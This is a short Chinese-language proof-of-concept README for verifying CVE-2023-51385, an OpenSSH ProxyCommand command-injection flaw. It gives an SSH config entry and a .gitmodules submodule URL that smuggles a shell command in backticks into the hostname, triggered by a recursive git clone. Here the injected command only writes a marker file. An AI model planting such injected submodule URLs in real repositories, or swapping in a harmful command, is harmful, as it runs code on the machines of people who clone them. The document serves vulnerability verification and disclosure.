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验证CVE-2023-51385

首先需要在~/.ssh/config中增加如下内容

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

.gitmodules文件语句中存在命令注入

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

配置完成后,执行下面的指令触发

git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules

如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件

image-20240317161540677

注意:OpenSSH需要<9.6p1

详细信息见这篇博客:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html